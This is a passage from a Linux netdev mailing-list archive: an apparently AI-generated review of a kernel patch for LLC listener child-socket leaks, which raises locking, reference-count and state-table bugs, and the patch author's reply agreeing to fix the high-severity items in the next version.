> + struct sock *listener = llc->incoming_listener;
> + struct sock *sk = &llc->sk;
> +
> + lock_sock(sk);
> + llc_sk_stop_all_timers(sk, false);
> + sock_orphan(sk);
> + release_sock(sk);
> + llc_sk_stop_all_timers(sk, true);
> + dev_put(llc->dev);
> + llc->dev = NULL;
> + llc_sk_free(sk, false);
> + sock_put(sk);
> + sock_put(listener);
> +}
> +
> +void llc_release_incoming_sock(struct sock *sk)
> +{
> + struct llc_sock *llc = llc_sk(sk);
> +
> + if (atomic_xchg(&llc->incoming_state, LLC_INCOMING_NONE) ==
> + LLC_INCOMING_NONE)
> + return;
> +
> + WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
> + spin_lock_bh(&llc->sap->sk_lock);
> + list_del_init(&llc->incoming_node);
> + spin_unlock_bh(&llc->sap->sk_lock);
> + sock_hold(sk);
> + llc_sap_remove_socket(llc->sap, sk);
> + schedule_work(&llc->incoming_work);
> +}
> +
> +bool llc_accept_incoming_sock(struct sock *sk)
> +{
> + struct llc_sock *llc = llc_sk(sk);
> +
> + if (atomic_cmpxchg(&llc->incoming_state, LLC_INCOMING_QUEUED,
> + LLC_INCOMING_NONE) != LLC_INCOMING_QUEUED)
> + return false;
> +
> + spin_lock_bh(&llc->sap->sk_lock);
> + list_del_init(&llc->incoming_node);
> + spin_unlock_bh(&llc->sap->sk_lock);
> + sock_put(llc->incoming_listener);
> + return true;
> +}
> +
> +void llc_release_incoming_children(struct sock *sk)
> +{
> + struct llc_sock *llc = llc_sk(sk);
> + struct sk_buff *skb;
> +
> + local_bh_disable();
> + while ((skb = skb_dequeue(&sk->sk_receive_queue))) {
> + struct sock *newsk = skb->sk;
> +
> + if (newsk && newsk != sk) {
> + int incoming_state;
> +
> + bh_lock_sock_nested(newsk);
> + incoming_state =
> + atomic_read(&llc_sk(newsk)->incoming_state);
> + if (incoming_state != LLC_INCOMING_NONE) {
> + llc_release_incoming_sock(newsk);
> + if (incoming_state == LLC_INCOMING_QUEUED)
> + sock_put(newsk);
> + }
> + bh_unlock_sock(newsk);
> + }
> + kfree_skb(skb);
> + }
> + if (llc->sap) {
> + spin_lock(&llc->sap->sk_lock);
> + while (!list_empty(&llc->incoming_children)) {
> + struct llc_sock *child;
> + struct sock *newsk;
> +
> + child = list_first_entry(&llc->incoming_children,
> + struct llc_sock,
> + incoming_node);
> + list_del_init(&child->incoming_node);
> + newsk = &child->sk;
> + sock_hold(newsk);
> + spin_unlock(&llc->sap->sk_lock);
> +
> + bh_lock_sock_nested(newsk);
> + if (atomic_read(&child->incoming_state) !=
> + LLC_INCOMING_NONE)
> + llc_release_incoming_sock(newsk);
> + bh_unlock_sock(newsk);
> + sock_put(newsk);
> + spin_lock(&llc->sap->sk_lock);
> + }
> + spin_unlock(&llc->sap->sk_lock);
> + }
> + local_bh_enable();
> +}
[Severity: High]
The receive-queue loop above drops the accept-queue reference explicitly:
if (incoming_state != LLC_INCOMING_NONE) {
llc_release_incoming_sock(newsk);
if (incoming_state == LLC_INCOMING_QUEUED)
sock_put(newsk);
}
The incoming_children walk releases children whose incoming_state is
!= LLC_INCOMING_NONE, which includes LLC_INCOMING_QUEUED, but the only
sock_put() there balances the walk's own sock_hold().
Counting the references of a QUEUED child: llc_release_incoming_sock() adds
one hold, and llc_incoming_sock_work() drops two (llc_sk_free()'s sock_put()
plus its own), so the hold taken in llc_conn_state_process() has to be
dropped by the caller. Does a QUEUED child that reaches this walk leak its
struct llc_sock?
A path that gets a QUEUED child onto this walk:
llc_ui_connect() has no TCP_LISTEN guard, so the listener can be moved to
TCP_SYN_SENT/TCP_CLOSE. llc_ui_recvmsg() only refuses sk_state ==
TCP_LISTEN, so after that it treats the pending connection indication as
stream data:
net/llc/af_llc.c:llc_ui_recvmsg() {
...
skb_unlink(skb, &sk->sk_receive_queue);
kfree_skb(skb);
}
That drops only the skb reference; the child stays QUEUED on
incoming_children, and close() then reaches the walk above.
[ ... ]
> @@ -813,18 +1010,49 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
> skb->sk = sk;
> skb->destructor = sock_efree;
> }
> - if (!sock_owned_by_user(sk))
> + if (unlikely(llc_sk(skb->sk)->state < LLC_CONN_STATE_ADM)) {
> + if (newsk) {
> + if (atomic_read(&llc_sk(newsk)->incoming_state) ==
> + LLC_INCOMING_PENDING)
> + llc_release_incoming_sock(newsk);
> + } else if (atomic_read(&llc_sk(sk)->incoming_state) ==
> + LLC_INCOMING_PENDING) {
> + llc_release_incoming_sock(sk);
> + }
> + goto drop_unlock;
> + }
[Severity: Medium]
This out-of-service lower bound is not described anywhere in the commit
message body, and the v7 changelog says the work was removed from the
series:
"Drop the companion LLC_CONN_OUT_OF_SVC bounds patch due to overlap with
Kees Cook's net-next series"
"That series also covers ... rejecting out-of-service states before table
lookup"
Five copies of the check are still here though: this one in
llc_conn_handler(), three in llc_backlog_rcv(), and one in llc_ui_accept().
In the non-listener branch just above, skb->sk is the ordinary looked-up
socket, so this changes behaviour for every socket on the direct receive
path, and in llc_ui_accept() it converts an otherwise successful accept()
into -ECONNABORTED. Should the message describe the new semantics, or
should these checks be dropped as the changelog states?
> if (!sock_owned_by_user(sk)) {
> llc_conn_rcv(sk, skb);
> - else {
> + if (newsk &&
> + atomic_read(&llc_sk(newsk)->incoming_state) ==
> + LLC_INCOMING_PENDING)
> + llc_release_incoming_sock(newsk);
> + } else {
> dprintk("%s: adding to backlog...\n", __func__);
> llc_set_backlog_type(skb, LLC_PACKET);
> - if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
> + if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf))) {
> + if (newsk && !newsk_lookup_ref)
> + llc_release_incoming_sock(newsk);
> goto drop_unlock;
> + }
> }
[ ... ]
> @@ -852,12 +1080,52 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
> {
> int rc = 0;
> struct llc_sock *llc = llc_sk(sk);
> + struct sock *newsk = skb->sk;
>
> if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
> - if (likely(llc->state > 1)) /* not closed */
> + if (newsk &&
> + atomic_read(&llc_sk(newsk)->incoming_state) ==
> + LLC_INCOMING_PENDING) {
> + local_bh_disable();
> + bh_lock_sock_nested(newsk);
> + if (atomic_read(&llc_sk(newsk)->incoming_state) !=
> + LLC_INCOMING_PENDING) {
> + bh_unlock_sock(newsk);
> + local_bh_enable();
> + goto retry;
> + }
> + if (sock_flag(sk, SOCK_DEAD) ||
> + sk->sk_state != TCP_LISTEN ||
> + llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
> + llc_release_incoming_sock(newsk);
> + bh_unlock_sock(newsk);
> + local_bh_enable();
> + goto out_kfree_skb;
> + }
> rc = llc_conn_rcv(sk, skb);
> - else
> + if (atomic_read(&llc_sk(newsk)->incoming_state) ==
> + LLC_INCOMING_PENDING)
> + llc_release_incoming_sock(newsk);
> + bh_unlock_sock(newsk);
> + local_bh_enable();
> + } else if (newsk &&
> + atomic_read(&llc_sk(newsk)->incoming_state) ==
> + LLC_INCOMING_QUEUED) {
> + local_bh_disable();
> + bh_lock_sock_nested(newsk);
> + if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
[Severity: Medium]
Two different "socket is usable" boundaries now live in this one function.
LLC_CONN_OUT_OF_SVC is 0 and LLC_CONN_STATE_ADM is 1, so the new checks
dispatch a socket in ADM while the legacy branch a few lines below,
llc->state > 1 /* not closed */, drops the same frame as closed. Which
boundary is intended for a child in ADM?
The same permissive bound is reused in llc_ui_accept(). A peer DISC returns
a connected child to ADM:
net/llc/llc_c_st.c:
static const struct llc_conn_state_trans llc_common_state_trans_4 = {
.ev = llc_conn_ev_rx_disc_cmd_pbit_set_x,
.next_state = LLC_CONN_STATE_ADM,
The LLC_DISC_PRIM handling in llc_conn_state_process() is gated on
sk_state == TCP_ESTABLISHED, which a pre-accept child is not, so the queued
indication stays in the accept queue. accept() then passes
state >= LLC_CONN_STATE_ADM and sets newsk->sk_state = TCP_ESTABLISHED and
newsock->state = SS_CONNECTED for a connection that is already down.
Should the boundary instead be the data-capable states used by
llc_data_accept_state(), that is NORMAL/BUSY/REJ?
> + bh_unlock_sock(newsk);
> + local_bh_enable();
> + goto out_kfree_skb;
> + }
> + rc = llc_conn_rcv(newsk, skb);
[Severity: Medium]
Here sk and skb->sk are both the unaccepted child, but the LLC_CONN_PRIM
branch of llc_conn_state_process() assumes sk is the listener owning the
accept queue and skb->sk is the child, which is what the new
sk != skb->sk bookkeeping encodes.
With three frames queued on the listener backlog while the listener is
user-owned:
f1 SABME -> PENDING branch -> LLC_CONN_PRIM -> child becomes QUEUED
f2 DISC -> QUEUED branch -> child returns to LLC_CONN_STATE_ADM
f3 SABME -> QUEUED branch -> llc_conn_rcv(child, f3)
For f3, llc_adm_state_trans_2 / llc_conn_ac_conn_ind sets
ind_prim = LLC_CONN_PRIM, and since sk == skb->sk the indication is queued
on the child's own sk_receive_queue with no sock_hold() and no state
transition.
Does that lose the indication for accept(), and leave a raw SABME frame on
the child's receive queue where llc_ui_recvmsg() would later hand its bytes
to userspace as stream data?
> + bh_unlock_sock(newsk);
> + local_bh_enable();
> + } else if (likely(llc->state > 1)) {
> + rc = llc_conn_rcv(sk, skb);
[Severity: High]
This fallback branch checks the listener's llc->state, but llc_conn_rcv()
runs the state machine on skb->sk, which can be a child that has already
been put out of service:
net/llc/llc_conn.c:llc_release_incoming_sock() {
WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
...
schedule_work(&llc->incoming_work);
}
After that the child's incoming_state is LLC_INCOMING_NONE, so neither new
branch above matches and its backlogged skbs land here, with no child lock
held. llc_ui_release() releases the children before the backlog is drained:
net/llc/af_llc.c:llc_ui_release() {
llc_sap_remove_socket(llc->sap, sk);
llc_release_incoming_children(sk);
release_sock(sk);
}
llc_conn_service() only rejects llc->state > NBR_CONN_STATES, so state 0
reaches:
net/llc/llc_conn.c:llc_qualify_conn_ev() {
struct llc_conn_state *curr_state =
&llc_conn_state_table[llc->state - 1];
Can this index llc_conn_state_table[] and llc_offset_table[][] at -1 and
then dereference the resulting curr_state->transitions?
Reaching this branch needs the listener's own llc->state to be > 1, which a
bound socket that received a matching SABME before listen() satisfies, since
llc_ui_listen() does not reset llc->state.
Separately, is running llc_conn_rcv() on that child safe against
llc_incoming_sock_work(), which concurrently does sock_orphan(),
dev_put(llc->dev), llc->dev = NULL and llc_sk_free(sk, false) with no
serialization against this path?
> + } else {
> goto out_kfree_skb;
> + }
> } else if (llc_backlog_type(skb) == LLC_EVENT) {
> /* timer expiration event */
> if (likely(llc->state > 1)) /* not closed */
[ ... ]
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net v7 1/1] llc: fix listener child socket leaks before passive open completes
2026-09-06 12:45 ` Simon Horman
@ 2026-09-06 13:22 ` zihan xi
0 siblings, 0 replies; 6+ messages in thread
From: zihan xi @ 2026-09-06 13:22 UTC (permalink / raw)
To: Simon Horman
Cc: netdev, davem, edumazet, kuba, pabeni, kees, linux-kernel, stable, vega
On Sun, Sep 6, 2026 at 8:48 PM Simon Horman <horms@kernel.org> wrote:
>
> This is an AI-generated review of your patch. The human sending this
> email has considered the AI review valid, or at least plausible.
> Full review at: https://netdev-ai.bots.linux.dev/sashiko/#/patchset/0b8964c9cd294898c9657fd34c9d04cec77782eb.1788414881.git.zihanx@nebusec.ai?part=1
> ---
> llc: fix listener child socket leaks before passive open completes
>
> This restricts passive-open child creation to SABME commands, answers other
> listener-directed commands with a DM response generated from the packet
> source address, and adds an incoming_state / incoming_children lifecycle so
> children that never reach accept() are released on drop, backlog failure and
> listener close. llc_sk_free() gains a sync argument and the final child
> teardown moves to a work item.
>
> Some questions below about the new locking and reference accounting.
>
> > diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c
> > index b0447c33dbf0..e8054809cf0c 100644
> > --- a/net/llc/af_llc.c
> > +++ b/net/llc/af_llc.c
>
> [ ... ]
>
> > @@ -722,6 +729,17 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
> > goto frees;
> > rc = 0;
> > newsk = skb->sk;
> > + lock_sock_nested(newsk, SINGLE_DEPTH_NESTING);
> > + if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM ||
> > + !llc_accept_incoming_sock(newsk)) {
> > + if (atomic_read(&llc_sk(newsk)->incoming_state) !=
> > + LLC_INCOMING_NONE)
> > + llc_release_incoming_sock(newsk);
> > + release_sock(newsk);
> > + sock_put(newsk);
> > + rc = -ECONNABORTED;
> > + goto frees;
> > + }
>
> [Severity: High]
> Can this lock_sock_nested() block on the lock_sock(sk) that llc_ui_accept()
> already holds? There is no test that skb->sk is a distinct child.
>
> A connection indication can end up on a socket's own receive queue with
> skb->sk == sk. After bind(), llc->daddr is all zero, so a SABME whose
> h_source is 00:00:00:00:00:00 and whose SSAP masks to 0 matches
> llc_estab_match():
>
> net/llc/llc_conn.c:llc_estab_match() {
> ...
> llc->daddr.lsap == daddr->lsap &&
> ether_addr_equal(llc->laddr.mac, laddr->mac) &&
> ether_addr_equal(llc->daddr.mac, daddr->mac);
> }
>
> __llc_lookup_established() returns that socket, so llc_conn_handler() takes
> the non-listener branch and sets skb->sk = sk.
>
> llc_adm_state_trans_2 (action llc_conn_ac_conn_ind) then sets
> ind_prim = LLC_CONN_PRIM, and llc_conn_state_process() queues the skb on
> sk->sk_receive_queue with skb->sk == sk. llc_ui_listen() does not drain
> sk_receive_queue, so the socket can enter TCP_LISTEN with that skb queued.
>
> accept() dequeues it, the !skb->sk test does not fire, newsk == sk, and
> lock_sock_nested() waits in __lock_sock() for a lock this task owns.
>
> For such an skb the conditional hold added in llc_conn_state_process() was
> never taken (sk != skb->sk is false there), so is the sock_put(newsk) on the
> abort path, and on the success path below, also unbalanced?
>
> > /* attach connection to a new socket. */
> > llc_ui_sk_init(newsock, newsk);
> > sock_reset_flag(newsk, SOCK_ZAPPED);
> > @@ -737,6 +755,8 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
> > sk_acceptq_removed(sk);
> > dprintk("%s: ok success on %02X, client on %02X\n", __func__,
> > llc_sk(sk)->addr.sllc_sap, newllc->daddr.lsap);
> > + release_sock(newsk);
> > + sock_put(newsk);
> > frees:
> > kfree_skb(skb);
> > out:
>
> > diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> > index 260460d50f54..092625e28b3b 100644
> > --- a/net/llc/llc_conn.c
> > +++ b/net/llc/llc_conn.c
>
> [ ... ]
>
> > @@ -88,6 +89,13 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
> > * skb->sk pointing to the newly created struct sock in
> > * llc_conn_handler. -acme
> > */
> > + if (sk != skb->sk &&
> > + atomic_read(&llc_sk(skb->sk)->incoming_state) ==
> > + LLC_INCOMING_PENDING) {
> > + sock_hold(skb->sk);
> > + atomic_set(&llc_sk(skb->sk)->incoming_state,
> > + LLC_INCOMING_QUEUED);
> > + }
> > skb_get(skb);
> > skb_queue_tail(&sk->sk_receive_queue, skb);
> > sk->sk_state_change(sk);
>
> [ ... ]
>
> > @@ -765,27 +773,196 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
>
> [ ... ]
>
> > +static void llc_incoming_sock_work(struct work_struct *work)
> > +{
> > + struct llc_sock *llc = container_of(work, struct llc_sock,
> > + incoming_work);
> > + struct sock *listener = llc->incoming_listener;
> > + struct sock *sk = &llc->sk;
> > +
> > + lock_sock(sk);
> > + llc_sk_stop_all_timers(sk, false);
> > + sock_orphan(sk);
> > + release_sock(sk);
> > + llc_sk_stop_all_timers(sk, true);
> > + dev_put(llc->dev);
> > + llc->dev = NULL;
> > + llc_sk_free(sk, false);
> > + sock_put(sk);
> > + sock_put(listener);
> > +}
> > +
> > +void llc_release_incoming_sock(struct sock *sk)
> > +{
> > + struct llc_sock *llc = llc_sk(sk);
> > +
> > + if (atomic_xchg(&llc->incoming_state, LLC_INCOMING_NONE) ==
> > + LLC_INCOMING_NONE)
> > + return;
> > +
> > + WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
> > + spin_lock_bh(&llc->sap->sk_lock);
> > + list_del_init(&llc->incoming_node);
> > + spin_unlock_bh(&llc->sap->sk_lock);
> > + sock_hold(sk);
> > + llc_sap_remove_socket(llc->sap, sk);
> > + schedule_work(&llc->incoming_work);
> > +}
> > +
> > +bool llc_accept_incoming_sock(struct sock *sk)
> > +{
> > + struct llc_sock *llc = llc_sk(sk);
> > +
> > + if (atomic_cmpxchg(&llc->incoming_state, LLC_INCOMING_QUEUED,
> > + LLC_INCOMING_NONE) != LLC_INCOMING_QUEUED)
> > + return false;
> > +
> > + spin_lock_bh(&llc->sap->sk_lock);
> > + list_del_init(&llc->incoming_node);
> > + spin_unlock_bh(&llc->sap->sk_lock);
> > + sock_put(llc->incoming_listener);
> > + return true;
> > +}
> > +
> > +void llc_release_incoming_children(struct sock *sk)
> > +{
> > + struct llc_sock *llc = llc_sk(sk);
> > + struct sk_buff *skb;
> > +
> > + local_bh_disable();
> > + while ((skb = skb_dequeue(&sk->sk_receive_queue))) {
> > + struct sock *newsk = skb->sk;
> > +
> > + if (newsk && newsk != sk) {
> > + int incoming_state;
> > +
> > + bh_lock_sock_nested(newsk);
> > + incoming_state =
> > + atomic_read(&llc_sk(newsk)->incoming_state);
> > + if (incoming_state != LLC_INCOMING_NONE) {
> > + llc_release_incoming_sock(newsk);
> > + if (incoming_state == LLC_INCOMING_QUEUED)
> > + sock_put(newsk);
> > + }
> > + bh_unlock_sock(newsk);
> > + }
> > + kfree_skb(skb);
> > + }
> > + if (llc->sap) {
> > + spin_lock(&llc->sap->sk_lock);
> > + while (!list_empty(&llc->incoming_children)) {
> > + struct llc_sock *child;
> > + struct sock *newsk;
> > +
> > + child = list_first_entry(&llc->incoming_children,
> > + struct llc_sock,
> > + incoming_node);
> > + list_del_init(&child->incoming_node);
> > + newsk = &child->sk;
> > + sock_hold(newsk);
> > + spin_unlock(&llc->sap->sk_lock);
> > +
> > + bh_lock_sock_nested(newsk);
> > + if (atomic_read(&child->incoming_state) !=
> > + LLC_INCOMING_NONE)
> > + llc_release_incoming_sock(newsk);
> > + bh_unlock_sock(newsk);
> > + sock_put(newsk);
> > + spin_lock(&llc->sap->sk_lock);
> > + }
> > + spin_unlock(&llc->sap->sk_lock);
> > + }
> > + local_bh_enable();
> > +}
>
> [Severity: High]
> The receive-queue loop above drops the accept-queue reference explicitly:
>
> if (incoming_state != LLC_INCOMING_NONE) {
> llc_release_incoming_sock(newsk);
> if (incoming_state == LLC_INCOMING_QUEUED)
> sock_put(newsk);
> }
>
> The incoming_children walk releases children whose incoming_state is
> != LLC_INCOMING_NONE, which includes LLC_INCOMING_QUEUED, but the only
> sock_put() there balances the walk's own sock_hold().
>
> Counting the references of a QUEUED child: llc_release_incoming_sock() adds
> one hold, and llc_incoming_sock_work() drops two (llc_sk_free()'s sock_put()
> plus its own), so the hold taken in llc_conn_state_process() has to be
> dropped by the caller. Does a QUEUED child that reaches this walk leak its
> struct llc_sock?
>
> A path that gets a QUEUED child onto this walk:
>
> llc_ui_connect() has no TCP_LISTEN guard, so the listener can be moved to
> TCP_SYN_SENT/TCP_CLOSE. llc_ui_recvmsg() only refuses sk_state ==
> TCP_LISTEN, so after that it treats the pending connection indication as
> stream data:
>
> net/llc/af_llc.c:llc_ui_recvmsg() {
> ...
> skb_unlink(skb, &sk->sk_receive_queue);
> kfree_skb(skb);
> }
>
> That drops only the skb reference; the child stays QUEUED on
> incoming_children, and close() then reaches the walk above.
>
> [ ... ]
>
> > @@ -813,18 +1010,49 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
> > skb->sk = sk;
> > skb->destructor = sock_efree;
> > }
> > - if (!sock_owned_by_user(sk))
> > + if (unlikely(llc_sk(skb->sk)->state < LLC_CONN_STATE_ADM)) {
> > + if (newsk) {
> > + if (atomic_read(&llc_sk(newsk)->incoming_state) ==
> > + LLC_INCOMING_PENDING)
> > + llc_release_incoming_sock(newsk);
> > + } else if (atomic_read(&llc_sk(sk)->incoming_state) ==
> > + LLC_INCOMING_PENDING) {
> > + llc_release_incoming_sock(sk);
> > + }
> > + goto drop_unlock;
> > + }
>
> [Severity: Medium]
> This out-of-service lower bound is not described anywhere in the commit
> message body, and the v7 changelog says the work was removed from the
> series:
>
> "Drop the companion LLC_CONN_OUT_OF_SVC bounds patch due to overlap with
> Kees Cook's net-next series"
> "That series also covers ... rejecting out-of-service states before table
> lookup"
>
> Five copies of the check are still here though: this one in
> llc_conn_handler(), three in llc_backlog_rcv(), and one in llc_ui_accept().
>
> In the non-listener branch just above, skb->sk is the ordinary looked-up
> socket, so this changes behaviour for every socket on the direct receive
> path, and in llc_ui_accept() it converts an otherwise successful accept()
> into -ECONNABORTED. Should the message describe the new semantics, or
> should these checks be dropped as the changelog states?
>
> > if (!sock_owned_by_user(sk)) {
> > llc_conn_rcv(sk, skb);
> > - else {
> > + if (newsk &&
> > + atomic_read(&llc_sk(newsk)->incoming_state) ==
> > + LLC_INCOMING_PENDING)
> > + llc_release_incoming_sock(newsk);
> > + } else {
> > dprintk("%s: adding to backlog...\n", __func__);
> > llc_set_backlog_type(skb, LLC_PACKET);
> > - if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
> > + if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf))) {
> > + if (newsk && !newsk_lookup_ref)
> > + llc_release_incoming_sock(newsk);
> > goto drop_unlock;
> > + }
> > }
>
> [ ... ]
>
> > @@ -852,12 +1080,52 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
> > {
> > int rc = 0;
> > struct llc_sock *llc = llc_sk(sk);
> > + struct sock *newsk = skb->sk;
> >
> > if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
> > - if (likely(llc->state > 1)) /* not closed */
> > + if (newsk &&
> > + atomic_read(&llc_sk(newsk)->incoming_state) ==
> > + LLC_INCOMING_PENDING) {
> > + local_bh_disable();
> > + bh_lock_sock_nested(newsk);
> > + if (atomic_read(&llc_sk(newsk)->incoming_state) !=
> > + LLC_INCOMING_PENDING) {
> > + bh_unlock_sock(newsk);
> > + local_bh_enable();
> > + goto retry;
> > + }
> > + if (sock_flag(sk, SOCK_DEAD) ||
> > + sk->sk_state != TCP_LISTEN ||
> > + llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
> > + llc_release_incoming_sock(newsk);
> > + bh_unlock_sock(newsk);
> > + local_bh_enable();
> > + goto out_kfree_skb;
> > + }
> > rc = llc_conn_rcv(sk, skb);
> > - else
> > + if (atomic_read(&llc_sk(newsk)->incoming_state) ==
> > + LLC_INCOMING_PENDING)
> > + llc_release_incoming_sock(newsk);
> > + bh_unlock_sock(newsk);
> > + local_bh_enable();
> > + } else if (newsk &&
> > + atomic_read(&llc_sk(newsk)->incoming_state) ==
> > + LLC_INCOMING_QUEUED) {
> > + local_bh_disable();
> > + bh_lock_sock_nested(newsk);
> > + if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
>
> [Severity: Medium]
> Two different "socket is usable" boundaries now live in this one function.
> LLC_CONN_OUT_OF_SVC is 0 and LLC_CONN_STATE_ADM is 1, so the new checks
> dispatch a socket in ADM while the legacy branch a few lines below,
> llc->state > 1 /* not closed */, drops the same frame as closed. Which
> boundary is intended for a child in ADM?
>
> The same permissive bound is reused in llc_ui_accept(). A peer DISC returns
> a connected child to ADM:
>
> net/llc/llc_c_st.c:
> static const struct llc_conn_state_trans llc_common_state_trans_4 = {
> .ev = llc_conn_ev_rx_disc_cmd_pbit_set_x,
> .next_state = LLC_CONN_STATE_ADM,
>
> The LLC_DISC_PRIM handling in llc_conn_state_process() is gated on
> sk_state == TCP_ESTABLISHED, which a pre-accept child is not, so the queued
> indication stays in the accept queue. accept() then passes
> state >= LLC_CONN_STATE_ADM and sets newsk->sk_state = TCP_ESTABLISHED and
> newsock->state = SS_CONNECTED for a connection that is already down.
>
> Should the boundary instead be the data-capable states used by
> llc_data_accept_state(), that is NORMAL/BUSY/REJ?
>
> > + bh_unlock_sock(newsk);
> > + local_bh_enable();
> > + goto out_kfree_skb;
> > + }
> > + rc = llc_conn_rcv(newsk, skb);
>
> [Severity: Medium]
> Here sk and skb->sk are both the unaccepted child, but the LLC_CONN_PRIM
> branch of llc_conn_state_process() assumes sk is the listener owning the
> accept queue and skb->sk is the child, which is what the new
> sk != skb->sk bookkeeping encodes.
>
> With three frames queued on the listener backlog while the listener is
> user-owned:
>
> f1 SABME -> PENDING branch -> LLC_CONN_PRIM -> child becomes QUEUED
> f2 DISC -> QUEUED branch -> child returns to LLC_CONN_STATE_ADM
> f3 SABME -> QUEUED branch -> llc_conn_rcv(child, f3)
>
> For f3, llc_adm_state_trans_2 / llc_conn_ac_conn_ind sets
> ind_prim = LLC_CONN_PRIM, and since sk == skb->sk the indication is queued
> on the child's own sk_receive_queue with no sock_hold() and no state
> transition.
>
> Does that lose the indication for accept(), and leave a raw SABME frame on
> the child's receive queue where llc_ui_recvmsg() would later hand its bytes
> to userspace as stream data?
>
> > + bh_unlock_sock(newsk);
> > + local_bh_enable();
> > + } else if (likely(llc->state > 1)) {
> > + rc = llc_conn_rcv(sk, skb);
>
> [Severity: High]
> This fallback branch checks the listener's llc->state, but llc_conn_rcv()
> runs the state machine on skb->sk, which can be a child that has already
> been put out of service:
>
> net/llc/llc_conn.c:llc_release_incoming_sock() {
> WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
> ...
> schedule_work(&llc->incoming_work);
> }
>
> After that the child's incoming_state is LLC_INCOMING_NONE, so neither new
> branch above matches and its backlogged skbs land here, with no child lock
> held. llc_ui_release() releases the children before the backlog is drained:
>
> net/llc/af_llc.c:llc_ui_release() {
> llc_sap_remove_socket(llc->sap, sk);
> llc_release_incoming_children(sk);
> release_sock(sk);
> }
>
> llc_conn_service() only rejects llc->state > NBR_CONN_STATES, so state 0
> reaches:
>
> net/llc/llc_conn.c:llc_qualify_conn_ev() {
> struct llc_conn_state *curr_state =
> &llc_conn_state_table[llc->state - 1];
>
> Can this index llc_conn_state_table[] and llc_offset_table[][] at -1 and
> then dereference the resulting curr_state->transitions?
>
> Reaching this branch needs the listener's own llc->state to be > 1, which a
> bound socket that received a matching SABME before listen() satisfies, since
> llc_ui_listen() does not reset llc->state.
>
> Separately, is running llc_conn_rcv() on that child safe against
> llc_incoming_sock_work(), which concurrently does sock_orphan(),
> dev_put(llc->dev), llc->dev = NULL and llc_sk_free(sk, false) with no
> serialization against this path?
>
> > + } else {
> > goto out_kfree_skb;
> > + }
> > } else if (llc_backlog_type(skb) == LLC_EVENT) {
> > /* timer expiration event */
> > if (likely(llc->state > 1)) /* not closed */
>
> [ ... ]
Thanks Simon, and thanks for the correction on the earlier mail.
I'll treat the listen(2)/SABME accept-queue bound as out of scope for
this series, and take this review as the one to address.
The High items look real to me, in particular:
- lock_sock_nested() in llc_ui_accept() when skb->sk == sk
- the extra QUEUED hold not being dropped on the incoming_children walk
- the llc_backlog_rcv() fallback dispatching an already released child
I'll reroll v8 around those, without the accept-queue patch.
For the Medium notes: I agree the leftover state < ADM checks are
inconsistent with the v7 changelog. v8 will keep only the incoming-child
teardown guards and drop the extra ones on the ordinary receive/accept
paths. I will also check the QUEUED backlog SABME case.
I do not plan to retarget accept() at llc_data_accept_state(); that looks
like a separate behaviour change.
Thanks,
Zihan
^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2026-09-06 13:22 UTC | newest]
Thread overview: 6+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-03 8:01 [PATCH net v7 0/1] llc: fix listener child socket leaks before passive open completes Zihan Xi
2026-09-03 8:01 ` [PATCH net v7 1/1] " Zihan Xi
2026-09-06 10:11 ` Simon Horman
2026-09-06 12:44 ` Simon Horman
2026-09-06 12:45 ` Simon Horman
2026-09-06 13:22 ` zihan xi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®